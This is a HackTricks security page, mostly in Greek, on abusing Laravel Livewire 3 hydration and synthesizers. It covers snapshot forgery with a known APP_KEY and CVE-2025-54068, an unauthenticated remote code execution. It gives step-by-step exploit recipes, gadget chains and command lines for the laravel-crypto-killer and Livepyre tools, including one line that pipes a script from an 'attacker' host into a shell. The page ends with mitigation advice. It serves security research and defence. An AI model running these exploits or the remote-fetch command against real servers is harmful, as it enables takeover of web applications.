Laravel Livewire Hydration & Synthesizer Abuse

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ανασκόπηση της μηχανής καταστάσεων του Livewire

Τα components του Livewire 3 ανταλλάσσουν την κατάστασή τους μέσω των snapshots που περιέχουν data, memo και έναν checksum. Κάθε POST προς το /livewire/update επαναϋδατώνει το JSON snapshot στην πλευρά του server και εκτελεί τις σε ουρά calls/updates.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Οποιοσδήποτε έχει το APP_KEY (χρησιμοποιείται για την παραγωγή του $hashKey) μπορεί επομένως να πλαστογραφήσει αυθαίρετα snapshots επαναυπολογίζοντας το HMAC.

Οι σύνθετες ιδιότητες κωδικοποιούνται ως synthetic tuples που εντοπίζονται από την Livewire\Drawer\BaseUtils::isSyntheticTuple(); κάθε tuple είναι [value, {"s":"<key>", ...meta}]. Ο πυρήνας της hydration απλώς αναθέτει κάθε tuple στο synth που επιλέγεται στο HandleComponents::$propertySynthesizers και αναδρομεί στα παιδιά:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Αυτός ο αναδρομικός σχεδιασμός κάνει το Livewire έναν generic object-instantiation engine μόλις ένας επιτιθέμενος ελέγξει είτε τα μεταδεδομένα του tuple είτε οποιοδήποτε εμφωλευμένο tuple που επεξεργάζεται κατά την αναδρομή.

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Instantiates new $meta['class']($value) after rehydrating each child. Οποιαδήποτε κλάση με array constructor μπορεί να δημιουργηθεί, και κάθε item μπορεί το ίδιο να είναι ένα synthetic tuple.
FormObjectSynth (form)Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors που δέχονται δύο loosely typed parameters (ή default args) είναι αρκετοί για πρόσβαση σε αυθαίρετες public properties.
ModelSynth (mdl)When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control.

Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.

Forging snapshots when APP_KEY is known

  1. Capture a legitimate /livewire/update request and decode components[0].snapshot.
  2. Inject nested tuples that point to gadget classes and recompute checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode the snapshot, keep _token/memo untouched, and replay the request.

A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.

From function calls to full RCE

Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:

  1. Queueable trait – any object using Illuminate\Bus\Queueable exposes public $chained and executes unserialize(array_shift($this->chained)) in dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) is instantiated via CollectionSynth / FormObjectSynth with public $chained populated.
  3. phpggc Laravel/RCE4Adapted – the serialized blob stored in $chained[0] builds PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() finally calls call_user_func_array($closure, $args) enabling system($cmd).
  4. Stealth termination – by handing a second FnStream callable such as [new Laravel\Prompts\Terminal(), 'exit'], the request ends with exit() instead of a noisy exception, keeping the HTTP response clean.

Automating snapshot forgery

synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Το εργαλείο αναλύει το captured snapshot, εισάγει τα gadget tuples, επανυπολογίζει το checksum, και εκτυπώνει ένα έτοιμο προς αποστολή /livewire/update payload.

CVE-2025-54068 – RCE χωρίς APP_KEY

Σύμφωνα με την ανακοίνωση του vendor, το ζήτημα επηρεάζει Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3) και είναι μοναδικό στο v3.

updates συγχωνεύονται στην κατάσταση του component μετά την επικύρωση του snapshot checksum. Εάν μια ιδιότητα μέσα στο snapshot είναι (ή γίνει) ένα synthetic tuple, το Livewire επαναχρησιμοποιεί τα meta του ενώ hydrating την attacker-controlled update value:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Συνταγή εκμετάλλευσης:

  1. Βρείτε ένα Livewire component με μια μη-τυποποιημένη δημόσια ιδιότητα (π.χ., public $count;).
  2. Στείλτε ένα update που ορίζει αυτήν την ιδιότητα σε []. Το επόμενο snapshot τώρα το αποθηκεύει ως [[], {"s": "arr"}].

Μια ελάχιστη ροή type-juggling μοιάζει ως εξής:

POST /livewire/update
...
"updates": {"count": []}

Τότε το επόμενο snapshot αποθηκεύει ένα tuple που κρατάει τα μεταδεδομένα του synthesizer arr:

"count": [[], {"s": "arr"}]
  1. Δημιουργήστε άλλο payload updates όπου αυτή η ιδιότητα περιέχει ένα βαθιά εμφωλευμένο array που ενσωματώνει tuples όπως [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Κατά τη διάρκεια της αναδρομής, η hydrate() αξιολογεί κάθε εμφωλευμένο child ανεξάρτητα, έτσι τα synth keys/classes που επιλέχθηκαν από τον επιτιθέμενο γίνονται σεβαστά ακόμη κι αν το εξωτερικό tuple και το checksum δεν άλλαξαν ποτέ.
  3. Επαναχρησιμοποιήστε τα ίδια primitives CollectionSynth/FormObjectSynth για να instantiate ένα Queueable gadget του οποίου το $chained[0] περιέχει το phpggc payload. Το Livewire επεξεργάζεται τα παραποιημένα updates, καλεί την dispatchNextJobInChain(), και φτάνει σε system(<cmd>) χωρίς να γνωρίζει το APP_KEY.

Κύριοι λόγοι που αυτό λειτουργεί:

  • Τα updates δεν καλύπτονται από το checksum του snapshot.
  • Η getMetaForPath() εμπιστεύεται οποιαδήποτε synth metadata υπήρχε ήδη για αυτή την ιδιότητα, ακόμη κι αν ο επιτιθέμενος προηγουμένως την ανάγκασε να γίνει tuple μέσω weak typing.
  • Η αναδρομή μαζί με weak typing επιτρέπει σε κάθε εμφωλευμένο array να ερμηνευτεί ως ένα ολοκαίνουργιο tuple, έτσι ώστε αυθαίρετα synth keys και αυθαίρετες classes τελικά να φτάνουν στην hydration.

Livepyre – ολοκληρωμένη εκμετάλλευση

Livepyre αυτοματοποιεί τόσο το APP_KEY-less CVE όσο και τη signed-snapshot path:

  • Αναγνωρίζει την έκδοση Livewire που έχει αναπτυχθεί κάνοντας parse του <script src="/livewire/livewire.js?id=HASH"> και αντιστοιχίζοντας το hash σε ευπαθείς εκδόσεις.
  • Συλλέγει baseline snapshots αναπαριστώντας αβλαβείς ενέργειες και εξάγοντας το components[].snapshot.
  • Δημιουργεί είτε ένα μόνο payload updates (CVE-2025-54068) είτε ένα παραποιημένο snapshot (γνωστό APP_KEY) που ενσωματώνει την αλυσίδα phpggc.
  • Εάν δεν βρεθεί παράμετρος τύπου object σε ένα snapshot, το Livepyre καταφεύγει σε brute-forcing υποψήφιων params για να φτάσει σε μια ιδιότητα που μπορεί να εξαναγκαστεί.

Τυπική χρήση:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check εκτελεί μια μη-καταστροφική δοκιμή, -F παρακάμπτει τον έλεγχο έκδοσης (version gating), -H και -P προσθέτουν προσαρμοσμένες κεφαλίδες ή διακομιστές μεσολάβησης (proxies), και --function/--param προσαρμόζουν τη php function που καλείται από το gadget chain.

Αμυντικές συστάσεις

  • Αναβαθμίστε σε fixed Livewire builds (>= 3.6.4 σύμφωνα με το vendor bulletin) και αναπτύξτε το vendor patch για CVE-2025-54068.
  • Αποφύγετε weakly typed public properties σε Livewire components· ρητοί scalar τύποι εμποδίζουν τις τιμές ιδιοτήτων να αναγκαστούν σε arrays/tuples.
  • Καταχωρίστε μόνο τους synthesizers που πραγματικά χρειάζεστε και θεωρείστε τα user-controlled metadata ($meta['class']) ως μη αξιόπιστα.
  • Απορρίψτε ενημερώσεις που αλλάζουν τον JSON τύπο μιας ιδιότητας (π.χ., scalar -> array) εκτός αν επιτρέπεται ρητά, και επαναπαράγετε τα synth metadata αντί να επαναχρησιμοποιείτε ξεπερασμένα tuples.
  • Περιστρέψτε (rotate) το APP_KEY άμεσα μετά από οποιαδήποτε αποκάλυψη, γιατί αυτό επιτρέπει offline snapshot forging ανεξάρτητα από το πόσο patched είναι το code-base.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks